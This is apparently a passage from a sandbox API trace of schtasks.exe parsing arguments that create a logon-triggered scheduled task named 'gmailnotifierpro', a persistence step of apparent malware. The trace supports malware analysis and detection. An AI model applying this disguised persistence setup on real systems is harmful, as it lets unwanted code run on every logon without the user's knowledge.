2 [0108.711] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.711] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|create|") returned 8 [0108.711] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.711] lstrlenW (lpString="|create|") returned 8 [0108.711] lstrlenW (lpString="|tn|") returned 4 [0108.711] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0108.711] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.711] lstrlenW (lpString="?") returned 1 [0108.711] lstrlenW (lpString="?") returned 1 [0108.711] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.711] lstrlenW (lpString="tn") returned 2 [0108.712] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.712] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|?|") returned 3 [0108.712] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.712] lstrlenW (lpString="|?|") returned 3 [0108.712] lstrlenW (lpString="|tn|") returned 4 [0108.712] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.712] lstrlenW (lpString="s") returned 1 [0108.712] lstrlenW (lpString="s") returned 1 [0108.712] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.712] lstrlenW (lpString="tn") returned 2 [0108.712] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.712] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|s|") returned 3 [0108.712] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.712] lstrlenW (lpString="|s|") returned 3 [0108.712] lstrlenW (lpString="|tn|") returned 4 [0108.712] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.712] lstrlenW (lpString="u") returned 1 [0108.712] lstrlenW (lpString="u") returned 1 [0108.712] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.712] lstrlenW (lpString="tn") returned 2 [0108.712] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.712] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|u|") returned 3 [0108.712] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.712] lstrlenW (lpString="|u|") returned 3 [0108.713] lstrlenW (lpString="|tn|") returned 4 [0108.713] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.713] lstrlenW (lpString="p") returned 1 [0108.713] lstrlenW (lpString="p") returned 1 [0108.713] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.713] lstrlenW (lpString="tn") returned 2 [0108.713] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.713] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|p|") returned 3 [0108.713] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.713] lstrlenW (lpString="|p|") returned 3 [0108.713] lstrlenW (lpString="|tn|") returned 4 [0108.713] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.713] lstrlenW (lpString="ru") returned 2 [0108.713] lstrlenW (lpString="ru") returned 2 [0108.713] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.713] lstrlenW (lpString="tn") returned 2 [0108.713] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.713] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|ru|") returned 4 [0108.713] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.713] lstrlenW (lpString="|ru|") returned 4 [0108.713] lstrlenW (lpString="|tn|") returned 4 [0108.713] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0108.713] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.713] lstrlenW (lpString="rp") returned 2 [0108.713] lstrlenW (lpString="rp") returned 2 [0108.713] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.714] lstrlenW (lpString="tn") returned 2 [0108.714] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.714] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rp|") returned 4 [0108.714] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.714] lstrlenW (lpString="|rp|") returned 4 [0108.714] lstrlenW (lpString="|tn|") returned 4 [0108.714] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0108.714] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.714] lstrlenW (lpString="sc") returned 2 [0108.714] lstrlenW (lpString="sc") returned 2 [0108.714] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.714] lstrlenW (lpString="tn") returned 2 [0108.714] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.714] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sc|") returned 4 [0108.714] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.714] lstrlenW (lpString="|sc|") returned 4 [0108.714] lstrlenW (lpString="|tn|") returned 4 [0108.714] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0108.714] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.714] lstrlenW (lpString="mo") returned 2 [0108.714] lstrlenW (lpString="mo") returned 2 [0108.714] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.714] lstrlenW (lpString="tn") returned 2 [0108.714] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.715] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|mo|") returned 4 [0108.715] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.715] lstrlenW (lpString="|mo|") returned 4 [0108.715] lstrlenW (lpString="|tn|") returned 4 [0108.715] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0108.715] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.715] lstrlenW (lpString="d") returned 1 [0108.715] lstrlenW (lpString="d") returned 1 [0108.715] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.715] lstrlenW (lpString="tn") returned 2 [0108.715] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.715] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|d|") returned 3 [0108.715] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.715] lstrlenW (lpString="|d|") returned 3 [0108.715] lstrlenW (lpString="|tn|") returned 4 [0108.715] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.715] lstrlenW (lpString="m") returned 1 [0108.715] lstrlenW (lpString="m") returned 1 [0108.715] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.715] lstrlenW (lpString="tn") returned 2 [0108.715] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.715] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|m|") returned 3 [0108.715] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.716] lstrlenW (lpString="|m|") returned 3 [0108.716] lstrlenW (lpString="|tn|") returned 4 [0108.716] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.716] lstrlenW (lpString="i") returned 1 [0108.716] lstrlenW (lpString="i") returned 1 [0108.716] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.716] lstrlenW (lpString="tn") returned 2 [0108.716] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.716] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|i|") returned 3 [0108.716] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.716] lstrlenW (lpString="|i|") returned 3 [0108.716] lstrlenW (lpString="|tn|") returned 4 [0108.716] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.716] lstrlenW (lpString="tn") returned 2 [0108.716] lstrlenW (lpString="tn") returned 2 [0108.716] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.719] lstrlenW (lpString="tn") returned 2 [0108.719] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.719] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.719] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.720] lstrlenW (lpString="|tn|") returned 4 [0108.720] lstrlenW (lpString="|tn|") returned 4 [0108.720] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0108.720] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.720] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.720] lstrlenW (lpString="gmailnotifierpro") returned 16 [0108.720] lstrlenW (lpString="-/") returned 2 [0108.720] StrChrIW (lpStart="-/", wMatch=0x67) returned 0x0 [0108.720] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.720] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.720] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.721] lstrlenW (lpString="gmailnotifierpro") returned 16 [0108.721] StrChrIW (lpStart="gmailnotifierpro", wMatch=0x3a) returned 0x0 [0108.721] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.721] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.721] lstrlenW (lpString="gmailnotifierpro") returned 16 [0108.721] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.721] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.721] lstrlenW (lpString="/sc") returned 3 [0108.721] lstrlenW (lpString="-/") returned 2 [0108.721] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.721] lstrlenW (lpString="create") returned 6 [0108.722] lstrlenW (lpString="create") returned 6 [0108.722] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.722] lstrlenW (lpString="sc") returned 2 [0108.722] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.722] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|create|") returned 8 [0108.722] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sc|") returned 4 [0108.722] lstrlenW (lpString="|create|") returned 8 [0108.722] lstrlenW (lpString="|sc|") returned 4 [0108.722] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0108.722] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.723] lstrlenW (lpString="?") returned 1 [0108.723] lstrlenW (lpString="?") returned 1 [0108.723] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.723] lstrlenW (lpString="sc") returned 2 [0108.723] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.723] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|?|") returned 3 [0108.723] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sc|") returned 4 [0108.723] lstrlenW (lpString="|?|") returned 3 [0108.723] lstrlenW (lpString="|sc|") returned 4 [0108.724] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.724] lstrlenW (lpString="s") returned 1 [0108.724] lstrlenW (lpString="s") returned 1 [0108.724] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.724] lstrlenW (lpString="sc") returned 2 [0108.724] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.724] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|s|") returned 3 [0108.724] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sc|") returned 4 [0108.724] lstrlenW (lpString="|s|") returned 3 [0108.724] lstrlenW (lpString="|sc|") returned 4 [0108.725] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.725] lstrlenW (lpString="u") returned 1 [0108.725] lstrlenW (lpString="u") returned 1 [0108.725] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.725] lstrlenW (lpString="sc") returned 2 [0108.725] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.725] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|u|") returned 3 [0108.725] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sc|") returned 4 [0108.725] lstrlenW (lpString="|u|") returned 3 [0108.725] lstrlenW (lpString="|sc|") returned 4 [0108.726] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.726] lstrlenW (lpString="p") returned 1 [0108.726] lstrlenW (lpString="p") returned 1 [0108.726] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.726] lstrlenW (lpString="sc") returned 2 [0108.726] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.726] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|p|") returned 3 [0108.726] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sc|") returned 4 [0108.726] lstrlenW (lpString="|p|") returned 3 [0108.726] lstrlenW (lpString="|sc|") returned 4 [0108.727] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.727] lstrlenW (lpString="ru") returned 2 [0108.727] lstrlenW (lpString="ru") returned 2 [0108.727] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.727] lstrlenW (lpString="sc") returned 2 [0108.727] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.727] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|ru|") returned 4 [0108.727] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sc|") returned 4 [0108.727] lstrlenW (lpString="|ru|") returned 4 [0108.728] lstrlenW (lpString="|sc|") returned 4 [0108.728] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0108.728] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.728] lstrlenW (lpString="rp") returned 2 [0108.728] lstrlenW (lpString="rp") returned 2 [0108.728] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.728] lstrlenW (lpString="sc") returned 2 [0108.728] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.728] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rp|") returned 4 [0108.728] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sc|") returned 4 [0108.729] lstrlenW (lpString="|rp|") returned 4 [0108.729] lstrlenW (lpString="|sc|") returned 4 [0108.729] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0108.729] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.729] lstrlenW (lpString="sc") returned 2 [0108.729] lstrlenW (lpString="sc") returned 2 [0108.729] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.729] lstrlenW (lpString="sc") returned 2 [0108.729] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.729] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sc|") returned 4 [0108.730] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sc|") returned 4 [0108.730] lstrlenW (lpString="|sc|") returned 4 [0108.730] lstrlenW (lpString="|sc|") returned 4 [0108.730] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0108.730] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.730] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.730] lstrlenW (lpString="ONLOGON") returned 7 [0108.730] lstrlenW (lpString="-/") returned 2 [0108.730] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0108.730] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.730] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.730] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.744] lstrlenW (lpString="ONLOGON") returned 7 [0108.744] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0108.744] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.744] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.744] GetProcessHeap () returned 0x208f92d0000 [0108.744] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x18) returned 0x208f92dac00 [0108.744] _memicmp (_Buf1=0x208f92dac00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.744] lstrlenW (lpString="ONLOGON") returned 7 [0108.748] GetProcessHeap () returned 0x208f92d0000 [0108.748] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x10) returned 0x208f92daa20 [0108.748] lstrlenW (lpString="ONLOGON") returned 7 [0108.749] lstrlenW (lpString=" \x09") returned 2 [0108.749] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0108.749] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0108.749] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0108.749] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0108.749] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0108.749] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0108.749] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0108.749] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0108.749] GetLastError () returned 0x0 [0108.749] lstrlenW (lpString="ONLOGON") returned 7 [0108.749] lstrlenW (lpString="ONLOGON") returned 7 [0108.749] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.749] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.749] lstrlenW (lpString="/tr") returned 3 [0108.749] lstrlenW (lpString="-/") returned 2 [0108.749] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.749] lstrlenW (lpString="create") returned 6 [0108.749] lstrlenW (lpString="create") returned 6 [0108.749] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.749] lstrlenW (lpString="tr") returned 2 [0108.749] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.750] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|create|") returned 8 [0108.750] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.750] lstrlenW (lpString="|create|") returned 8 [0108.750] lstrlenW (lpString="|tr|") returned 4 [0108.750] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0108.750] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.750] lstrlenW (lpString="?") returned 1 [0108.750] lstrlenW (lpString="?") returned 1 [0108.750] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.750] lstrlenW (lpString="tr") returned 2 [0108.750] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.750] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|?|") returned 3 [0108.750] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.750] lstrlenW (lpString="|?|") returned 3 [0108.750] lstrlenW (lpString="|tr|") returned 4 [0108.750] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.750] lstrlenW (lpString="s") returned 1 [0108.750] lstrlenW (lpString="s") returned 1 [0108.750] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.750] lstrlenW (lpString="tr") returned 2 [0108.751] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.751] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|s|") returned 3 [0108.751] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.751] lstrlenW (lpString="|s|") returned 3 [0108.751] lstrlenW (lpString="|tr|") returned 4 [0108.751] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.751] lstrlenW (lpString="u") returned 1 [0108.751] lstrlenW (lpString="u") returned 1 [0108.751] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.751] lstrlenW (lpString="tr") returned 2 [0108.751] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.751] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|u|") returned 3 [0108.751] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.751] lstrlenW (lpString="|u|") returned 3 [0108.751] lstrlenW (lpString="|tr|") returned 4 [0108.751] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.751] lstrlenW (lpString="p") returned 1 [0108.751] lstrlenW (lpString="p") returned 1 [0108.751] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.751] lstrlenW (lpString="tr") returned 2 [0108.752] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.752] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|p|") returned 3 [0108.752] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.752] lstrlenW (lpString="|p|") returned 3 [0108.752] lstrlenW (lpString="|tr|") returned 4 [0108.752] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.752] lstrlenW (lpString="ru") returned 2 [0108.752] lstrlenW (lpString="ru") returned 2 [0108.752] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.752] lstrlenW (lpString="tr") returned 2 [0108.752] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.752] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|ru|") returned 4 [0108.752] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.752] lstrlenW (lpString="|ru|") returned 4 [0108.752] lstrlenW (lpString="|tr|") returned 4 [0108.752] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0108.752] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.752] lstrlenW (lpString="rp") returned 2 [0108.752] lstrlenW (lpString="rp") returned 2 [0108.752] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.753] lstrlenW (lpString="tr") returned 2 [0108.753] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.753] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rp|") returned 4 [0108.753] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.753] lstrlenW (lpString="|rp|") returned 4 [0108.753] lstrlenW (lpString="|tr|") returned 4 [0108.753] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0108.753] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.753] lstrlenW (lpString="sc") returned 2 [0108.753] lstrlenW (lpString="sc") returned 2 [0108.753] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.753] lstrlenW (lpString="tr") returned 2 [0108.753] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.753] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sc|") returned 4 [0108.753] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, 